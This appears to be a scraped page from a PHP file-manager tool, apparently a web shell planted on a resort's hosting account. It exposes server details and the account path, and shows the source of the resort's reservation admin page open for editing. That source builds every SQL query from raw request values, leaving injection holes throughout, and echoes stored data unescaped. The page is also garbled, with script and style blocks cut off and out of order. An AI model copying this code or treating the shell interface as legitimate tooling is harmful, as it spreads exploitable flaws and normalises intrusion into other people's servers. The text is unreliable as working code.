Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-570.21.1.el9_6.x86_64

PHP Version:

8.2.28

User:

u612101220

Directory:

/home/u612101220/domains/silverconchawavepoolresortandhotel.com/public_html/admin/pos

Free Space:

9.72 TB

🔧 Quick Actions

✏️ Editing: reservationView.php

<?php

include('user.php');
include('../controller/config.php');
// Create DB Connection

$filter_date = $_SESSION['filter_date'];
$tour_get = $_SESSION['tour'];

$c_cat_id = $_GET['id'];
$time_zone = date('Y-m-d');

$get_record = mysqli_query($conn, "select * from cottage_category where c_cat_id ='$c_cat_id'");
$row = mysqli_fetch_assoc($get_record);
$category_name = $row['category_name'];

if (isset($_POST['update'])) {
    $tour = $_POST['tour'];
    $cottage_id = $_POST['cottage_id'];
    $fullname = $_POST['fullname'];
    $contact_num = $_POST['contact_num'];
    $note = $_POST['note'];
     $pwd_sc = $_POST['discounted'];
     $pwd_child = $_POST['pwd_child'];
    $adult = $_POST['adult'];
    $child = $_POST['child'];
    $c_r_date = $_POST['c_r_date'];
    $pax = $adult + $child + $pwd_sc + $pwd_child;
    $payment_status = $_POST['payment_status'];
    $mop = $_POST['mop'];
    $total = $_POST['total'];
    $reservation_number = $_POST['reservation_number'];

$adult_total = $adult * 200;
    $child_total = $child * 110;
     $discounted_total = $pwd_sc * 160;
     $pwd_childTotal = $pwd_child * 88;
    $pax_total = $adult_total + $child_total + $discounted_total + $pwd_childTotal;
    
    if(empty($cottage_id)){
    $sql = "UPDATE `cottage_reservation` SET 
    `fullname`='$fullname',`contact_num`='$contact_num',`num_pax`='$pax',`payment_status`='$payment_status',
    `mop`='$mop',`note`='$note',`user_id`='$log_id',`c_r_date`='$c_r_date',
    `total`='$total' WHERE reservation_number = '$reservation_number'";
    $res = $conn->query($sql);
    }else{
    $sql = "UPDATE `cottage_reservation` SET 
    `fullname`='$fullname',`contact_num`='$contact_num',`num_pax`='$pax',`payment_status`='$payment_status',
    `mop`='$mop',`note`='$note',`user_id`='$log_id',`c_r_date`='$c_r_date',`cottage_id`='$cottage_id',
    `total`='$total' WHERE reservation_number = '$reservation_number'";
    $res = $conn->query($sql);
    }

$sql1 = "UPDATE `pax` SET `adult`='$adult',`children`='$child', `pwd_sc`='$pwd_sc', `pwd_child`='$pwd_child',
    `pax_total`='$pax_total' WHERE reservation_number ='$reservation_number'";
    $res1 = $conn->query($sql1);

$sql2 = "UPDATE `cottage_sales` SET `total`='$total',`c_sales_date`='$c_r_date',
    `user_id`='$log_id' WHERE reservation_number = '$reservation_number'";
    $res2 = $conn->query($sql2);

if ($res == TRUE) {
        $_SESSION['status'] = "Successfully Updated!";
        $_SESSION['code'] = "success";
    }
}

if (isset($_POST['id'])) {
    $reserve_number = $_POST['id'];

$sql = "DELETE FROM `cottage_sales` WHERE reservation_number = '$reserve_number'";
    $res = $conn->query($sql);
    
     $sql1 = "DELETE FROM `pax` WHERE reservation_number = '$reserve_number'";
    $res1 = $conn->query($sql1);

$sql2 = "DELETE FROM `cottage_reservation` WHERE reservation_number = '$reserve_number'";
    $res2 = $conn->query($sql2);

if ($res == TRUE) {
        $_SESSION['status'] = "Staff Successfully Deleted";
        $_SESSION['code'] = "success";
    }
}

?>
<!DOCTYPE html>
<html lang="en">

<head>

<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Silver Concha Wavepool Resort | Admin</title>
        <link href="../img/logo2.png" rel="icon" />

.suggestion-item {
                padding: 12px;
                cursor: pointer;
            }

.suggestion-item:hover {
                background: #286ba9;
                color: white;
            }

table.full-width-table {
                width: 100%;
                /* Make the table span the full width of the container */
                border-collapse: collapse;
                /* Optional: to collapse table borders */
            }

td {
                padding: 8px;
                border: 1px solid #ddd;
                /* Optional: border for the table cells */
            }

.left {
                text-align: left;
                width: 50%;
                /* Optionally, ensure the "Available" column takes up 50% of the width */
            }

.right {
                text-align: right;
                width: 50%;
                /* Ensure the value column takes up the remaining 50% */
            }
        </style>
    </head>

tr td {
            padding: 0.1 !important;
            margin: 0.1 !important;
        }
    </style>

</head>

<li class="nav-item">
                            <a href="index.php" class="nav-link ">
                                <i class="fa-solid fa-gauge"></i> Dashboard
                            </a>
                        </li>
                        <li class="nav-item">
                            <a href="reservation.php" class="nav-link active bg-primary text-white"><i class="fa-solid fa-calendar-days"></i> Reservation</a>
                        </li>

<li class="nav-item dropdown">
                            <a id="dropdownSubMenu1" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false" class="nav-link  dropdown-toggle"><i class="fa-solid fa-umbrella-beach"></i>
                                Manage Cottages</a>
                            <ul aria-labelledby="dropdownSubMenu1" class="dropdown-menu border-0 shadow">
                                <li><a href="manageCottage.php" class="dropdown-item"><i class="fa-solid fa-gears mr-1"></i> Category </a></li>
                                <li><a href="#" class="dropdown-item"><i class="fa-solid fa-umbrella mr-1"></i> Cottages</a></li>

</ul>
                        </li>

</ul>

<ul class="order-1 order-md-3 navbar-nav navbar-no-expand ml-auto">

<li class="nav-item dropdown">
                            <a class="nav-link" data-toggle="dropdown" href="#">
                                <i class="fa-solid fa-user mr-lg-1"></i> <?php echo $log_name ?>
                                <i class="fa-solid fa-angle-down ml-lg-1"></i>
                            </a>
                            <div class="dropdown-menu dropdown-menu-xs dropdown-menu-right">

<a href="lockscreen.php" class="dropdown-item">
                                    <i class="fa-solid fa-user-lock mr-1"></i> Lock User
                                </a>
                                <div class="dropdown-divider"></div>
                                <a href="settings.php" class="dropdown-item">
                                    <i class="fa-solid fa-gears mr-1"></i> Settings
                                </a>
                                <div class="dropdown-divider"></div>
                                <a href="../controller/logout.php" class="dropdown-item">
                                    <i class="fa-solid fa-right-to-bracket mr-1"></i> Logout
                                </a>
                            </div>

</li>
                    </ul>
                </div>
        </nav>

<div class="content-wrapper">
            
            <div class="content-header">
                <div class="container-fluid">
                    <center>

<H1 class="font-weight-bold"> RESERVATION INFORMATION</H1>

</center>
                </div>
                
            </div>

<div class="content">

<h3 class="card-title font-weight-bold mt-1">Cottage: <span class="text-success"><?php echo $category_name ?></span></h3>
                            <a href="reservation.php" class="btn btn-dark float-right"><i class="fa-solid fa-arrow-left"></i> Back </a>
                        </div>

<div class="card-body">
                            <table id="example2" class="table table-bordered table-striped table-hover">
                                <thead class="text-white bg-secondary">
                                    <tr>
                                        <th>Reservation #</th>
                                        <th>Full Name</th>
                                        <th class="col-1">Cottage Code</th>
                                        <th>Tour</th>
                                        <th>Pax</th>
                                        <th>Payment Status</th>
                                        <th>Mode of Payment</th>
                                        <th>Total</th>
                                        <th>Accomodation Date</th>
                                        <th>Reserved By</th>
                                        <th class="col-2 text-center">Action</th>
                                    </tr>
                                </thead>

<tbody>
                                    <?php
                                    $sql = "
    SELECT * 
    FROM cottage_reservation 
    JOIN cottage ON cottage_reservation.cottage_id = cottage.cottage_id
    JOIN cottage_category ON cottage.c_cat_id = cottage_category.c_cat_id
    JOIN user ON cottage_reservation.user_id = user.user_id
    JOIN pax ON cottage_reservation.reservation_number = pax.reservation_number
    WHERE cottage_category.c_cat_id = '$c_cat_id' and cottage_reservation.tour = '$tour_get'
    AND cottage_reservation.c_r_date = '$filter_date'
";
                                    $res = $conn->query($sql);
                                    while ($row = $res->fetch_assoc()) {
                                    ?>
                                        <tr>
                                            <td><?php echo $row['reservation_number'] ?></td>
                                            <td><?php echo $row['fullname'] ?></td>
                                            <td><?php echo $row['cottage_name'] ?></td>
                                            <td><?php echo $row['tour'] ?></td>
                                            <td><?php echo $row['num_pax'] ?></td>
                                            <td><?php echo $row['payment_status'] ?></td>
                                            <td><?php echo $row['mop'] ?></td>
                                            <td>₱<?php echo number_format($row['total'], 2) ?></td>
                                            <td><?php echo date('M. d, Y', strtotime($row['c_r_date'])); ?></td>
                                            <td><?php echo $row['name'] ?><br><small><?php echo date('M. d, Y h:i A', strtotime($row['date_created'])); ?></small></td>
                                            <td class="text-center">
                                                <button type="button" class="btn btn-sm btn-info" data-toggle="modal" data-target="#exampleModal" data-date="<?php echo $row['c_r_date']; ?>" data-cottageprice="<?php echo $row['price'] ?>" data-cottageid="<?php echo $row['cottage_name'] ?>" data-cottagecategory="<?php echo $row['category_name'] ?>" data-child="<?php echo $row['children'] ?>" data-pwdchild="<?php echo $row['pwd_child']; ?>" data-pwdsc="<?php echo $row['pwd_sc']; ?>" data-adult="<?php echo $row['adult'] ?>" data-pax="<?php echo $row['capacity']; ?>" data-id="<?php echo $row['reservation_number']; ?>" data-fullname="<?php echo $row['fullname']; ?>" data-contact="<?php echo $row['contact_num']; ?>" data-note="<?php echo $row['note']; ?>" data-payment_status="<?php echo $row['payment_status']; ?>" data-mop="<?php echo $row['mop']; ?>" data-total="<?php echo $row['total']; ?>">
                                                    <i class="fa-solid fa-pen-to-square"></i> Edit
                                                </button>
                                               <?php
                                               if($log_name === 'Admin'){ ?>
                                                    <a class="btn btn-sm btn-danger delete" data-id="<?php echo $row['reservation_number']; ?>"
                                            onclick="confirmDelete(this);">
                                            <i class="fas fa-trash"></i> Delete </a>&nbsp;
                                             <?php   }
                                               ?>
                                            </td>
                                        </tr>
                                    <?php } ?>
                                </tbody>

</table>

</div>
                        
                    </div>
                </div>
                
            </div>
            
        </div>

<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
            aria-hidden="true">
            <div class="modal-dialog modal-lg" role="document">
                <div class="modal-content">
                    <div class="modal-header bg-lightblue">
                        <h5 class="modal-title" id="exampleModalLabel">UPDATE RESERVATION</h5>

<button type="button" class="close" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <form action="" method="post">
                            <div class="row">
                                <div class="col">
                                    <div class="form-group">
                                        <label for="">Tour:</label>
                                        <select name="tour" id="tour" class="form-control">
                                            <option value="">*** Select Tour ***</option>
                                            <option value="Day">Day</option>
                                            <option value="Night">Night</option>
                                        </select>
                                    </div>
                                </div>
                                <div class="col">
                                    <div class="form-group">
                                        <label Class="">Date:</label>
                                        <input type="date" style="background-color:rgb(5, 85, 88); font-size: 20px;" id="date" value="<?php echo $time_zone ?>" class="form-control mb-2" name="c_r_date" placeholder="Enter Date" required>
                                    </div>
                                </div>
                            </div>

<div class="row">
                                <div class="col">
                                    <div class="form-group">
                                        <label for="" class="text-success"> Current Cottage:</label>
                                        <input type="text" style="background-color:rgb(5, 85, 88); font-size: 20px;" id="current_cottage" class="form-control" readonly>
                                    </div>
                                </div>
                                <div class="col">
                                    <div class="form-group">
                                        <label for="" class="text-success"> Cottage Code:</label>
                                        <input type=" text" style="background-color:rgb(5, 85, 88); font-size: 20px;" id="current_cottageid" class="form-control" readonly>
                                    </div>
                                </div>
                            </div>
                            <div class="row">
                                <div class="col">
                                    <div class="form-group">
                                        <label for="">Cottage Category:</label>
                                        <select name="cottage_category" id="cottage_category" class="form-control">
                                            <option value="">*** Select Category ***</option>
                                            <?php
                                            $sql1 = "SELECT * FROM cottage_category"; // Query to fetch categories
                                            $res1 = $conn->query($sql1);
                                            while ($row1 = $res1->fetch_assoc()) { ?>
                                                <option value="<?php echo $row1['c_cat_id']; ?>" data-capacity="<?php echo $row1['capacity']; ?>" data-price="<?php echo $row1['price']; ?>"><?php echo $row1['category_name']; ?></option>
                                            <?php } ?>
                                        </select>
                                        <small>Note: Select if you wish to transfer</small>
                                    </div>
                                </div>
                                <div class="col">
                                    <label for="">Cottage Name:</label>
                                    <select name="cottage_id" id="cottage_id" class="form-control">
                                        <option value="">*** Select Category First ***</option>
                                    </select>
                                    <small>Note: Select if you wish to transfer</small>
                                </div>
                            </div>

<div class="row">
                                <div class="col">
                                    <div class="form-group">
                                        <label Class="">Full Name:</label>
                                        <input type="text" class="form-control mb-2" id="fullname" name="fullname" placeholder="Enter Full Name" required>
                                    </div>
                                </div>
                                <div class="col">
                                    <div class="form-group">
                                        <label Class="">Contact Number:</label>
                                        <input type="number" class="form-control mb-2" id="contact_num" name="contact_num" placeholder="Enter Contact Number" required>
                                    </div>
                                </div>
                            </div>

<div class="row">
                                <div class="col">
                                    <div class="form-group">
                                        <label Class="">Max. Capacity:</label>
                                        <input type="number" id="pax" class="form-control mb-2" disabled style="background-color:rgb(5, 85, 88);">
                                    </div>
                                </div>
                                <div class=" col">
                                    <div class="form-group">
                                        <label Class="">No. of Adult:</label>
                                        <input type="number" class="form-control mb-2" id="adult" name="adult" placeholder="Enter Adult" required>
                                    </div>
                                </div>

<div class="col">
                                    <div class="form-group">
                                        <label Class="">No. of Children:</label>
                                        <input type="number" id="child" class="form-control mb-2" name="child" placeholder="Enter Child" required>
                                    </div>
                                </div>
                                
                            </div>
                            <div class="row">
                                 <div class="col">
                                    <div class="form-group">
                                        <label Class="">No. of PWD/Senior Adult:</label>
                                        <input type="number" id="discounted" class="form-control mb-2" name="discounted" placeholder="Enter PWD/Sc" required>
                                    </div>
                                </div>
                                <div class="col">
                                    <div class="form-group">
                                        <label Class="">No. of PWD Child:</label>
                                        <input type="number" id="pwd_child" class="form-control mb-2" name="pwd_child" placeholder="Enter PWD Child" required>
                                    </div>
                                </div>
                            </div>

<div class="row">
                                <div class="col">
                                    <div class="form-group">
                                        <label Class="">Payment Status:</label>
                                        <select name="payment_status" id="payment_status" class="form-control" required>
                                            <option value="">*** Select Status ***</option>
                                            <option value="Paid">Paid</option>
                                            <option value="Partial">Partial</option>
                                            <option value="Complimentary">Complimentary</option>
                                        </select>
                                    </div>
                                </div>

<div class="col">
                                    <div class="form-group">
                                        <label Class="">Mode of Payment:</label>
                                        <select name="mop" id="mop" class="form-control" required>
                                            <option value="">*** Select MOP ***</option>
                                            <option value="Cash">Cash</option>
                                            <option value="Check">Check</option>
                                            <option value="Bank Transfer">Bank Transfer</option>
                                            <option value="Gcash">Gcash</option>
                                            <option value="Complimentary">Complimentary</option>
                                        </select>
                                    </div>
                                </div>

<div class="col">
                                    <div class="form-group">
                                        <label Class="">Total:</label>
                                        <div class="input-group mb-3">
                                            <div class="input-group-prepend">
                                                <span class="input-group-text">₱</span>
                                            </div>
                                            <input type="number" style="background-color:rgb(5, 85, 88); font-size: 20px;" id="total" name="total" class="form-control" required readonly>
                                        </div>

</div>
                                </div>
                            </div>

</div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-danger" data-dismiss="modal">Close</button>
                        <button type="submit" name="update" class="btn btn-primary px-5">Update</button>
                    </div>
                    </form>
                </div>
            </div>
        </div>

<div class="modal fade" id="deleteModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
    aria-hidden="true">
    <div class="modal-dialog modal-dialog-centered" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title text-dark font-weight-bold" id="exampleModalLabel">DELETE CONFIRMATION</h5>
                <button class="close" type="button" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">×</span>
                </button>
            </div>
            <div class="modal-body">
                <form method="POST" id="form-delete">

<h6>Are sure you want to Delete this Reservation?</h6>

</div>
            <div class="modal-footer">
                <button class="btn btn-danger" type="button" data-dismiss="modal">Cancel</button>
                <button type="submit" form="form-delete" class="btn btn-primary">Yes. Delete It!</button>
            </div>
            </form>
        </div>
    </div>
</div>

<footer class=" main-footer text-dark footer">
            
            <div class="float-right d-none d-sm-inline">
                <strong class="font-weight-bold"><i class="fa-regular fa-clock"></i> Running:
                    <?php $currentDateTime = new DateTime('now');
                    $currentDate = $currentDateTime->format('F d, Y');
                    echo $currentDate; ?> -
                    <span id="txt"></span></strong>
            </div>
            
            <strong>Copyright &copy;<img src="../img/zamjy.png" style="height: 30px; width: 30px;"> Powered By: <a
                    href="https://www.facebook.com/profile.php?id=61560951500923" target="_blank"> ESG
                    IT-Solutions</a>.</strong> All rights reserved 2025.
        </footer>
    </div>

<?php
    if (isset($_SESSION['status'])) {
    ?>

<?php
        unset($_SESSION['status']);
        unset($_SESSION['code']);
    }

</html>

});
</script>

var tl = $('#total').val().trim().replace(/,/g, '');;
        var tr = $('#tender').val();
        var c = $('#change').val();

let c_tender = parseFloat(tr);
        let c_total = parseFloat(tl);
        let c_change = parseFloat(c); // Corrected from `l` to `c`

c_change = c_tender - c_total;
        $('#change').val(c_change.toFixed(2));
        $('#tender').val(c_tender.toFixed(2));

}

$('#tender').change(updateTotal);
    $('#change').change(updateTotal);
</script>

document.getElementById("form-delete").id.value = id;
        $("#deleteModal").modal("show");
    }
</script>

</script>

const today = new Date();
        let h = today.getHours();
        let m = today.getMinutes();
        let s = today.getSeconds();

var date_format = '12'; /* FORMAT CAN BE 12 hour (12) OR 24 hour (24)*/
        var result = h;
        var ext = '';

if (date_format == '12') {
            if (h > 12) {
                ext = 'PM';
                h = (h - 12);
                result = h;

if (h < 10) {
                    result = "0" + h;
                } else if (h == 12) {
                    h = "00";
                    ext = 'AM';
                }
            } else if (h < 12) {
                result = ((h < 10) ? "0" + h : h);
                ext = 'AM';
            } else if (h == 12) {
                ext = 'PM';
            }
        }

if (m < 10) {
            m = "0" + m;
        }

if (s < 10) {
            s = "0" + s;
        }
        result = result + ":" + m + ':' + s + ' ' + ext;
        m = checkTime(m);
        s = checkTime(s);
        document.getElementById('txt').innerHTML = result;
        setTimeout(startTime, 1000);
    }

function checkTime(i) {
        if (i < 10) {
            i = "0" + i
        }; // add zero in front of numbers < 10
        return i;
    }
</script>

// Calculate total
            var total;
            var capacity;
            if (cottagePrice === 0) { // Check if cottagePrice is 0 (empty or not selected)
                total = cottage_price + discountedCount + pwd_childDiscounted + (adultCount * 200) + (childCount * 110);
               capacity = parseInt($('#pax').val()) || 0;
            } else {
                total = cottagePrice + discountedCount + pwd_childDiscounted + (adultCount * 200) + (childCount * 110);
                capacity = $('#cottage_category option:selected').data('capacity') || 0;
            }

// Set the calculated total in the #total input field
            $('#total').val(total.toFixed(2)); // Use .toFixed(2) to round to 2 decimal places

// Set the capacity in the #capacity input field
            $('#pax').val(capacity); // Update the #capacity field with the value of data-capacity

// Validate adult and child input against capacity
            if (adultCount + childCount + discountCount > capacity) {
                // If the sum of adult and child exceeds capacity, set background color to red
                $('#adult, #child').css('background-color', 'red');
            } else {
                // Reset background color if within or equal to capacity
                $('#adult, #child').css('background-color', '');
            }
        }

// Event listener to update the total and capacity when the cottage category changes
        $('#cottage_category').change(function() {
            updateTotal(); // Call the function to calculate total and set the capacity
        });

// Event listener to update the total and check validation when the number of adults or children changes
        $('#adult, #child , #discounted, #pwd_child').on('input', function() {
            updateTotal(); // Call the function to calculate total and set the capacity
        });

// Initial call to update the total and capacity if values are already set
        updateTotal();
    });
</script>

// If a category, date, and tour are selected, fetch the cottages
            if (categoryId && selectedDate && selectedTour) {
                $.ajax({
                    url: 'fetch_cottages.php', // Endpoint to fetch cottages
                    method: 'GET',
                    data: {
                        category_id: categoryId,
                        date: selectedDate,
                        tour: selectedTour
                    },
                    success: function(response) {
                        console.log(response); // Log the response for debugging

// Ensure the response is parsed correctly as an array
                        if (Array.isArray(response)) {
                            // Clear existing options in cottage_id dropdown
                            $('#cottage_id').empty();
                            $('#cottage_id').append('<option value="">*** Select Cottage ***</option>');

// Loop through the response and populate the cottage dropdown
                            response.forEach(function(cottage) {
                                $('#cottage_id').append('<option value="' + cottage.cottage_id + '">' + cottage.cottage_name + '</option>');
                            });
                        } else {
                            console.error('Response is not an array:', response);
                        }
                    },
                    error: function(xhr, status, error) {
                        console.error('Error fetching cottages:', status, error);
                    }
                });
            } else {
                // If no category, date, or tour is selected, reset the cottage dropdown
                $('#cottage_id').empty().append('<option value="">*** Select Cottage ***</option>');
            }
        });

// Optional: Also trigger the fetch when the date or tour changes
        $('#date, #tour').change(function() {
            $('#cottage_category').trigger('change');
        });
    });
</script>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: reservationView.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation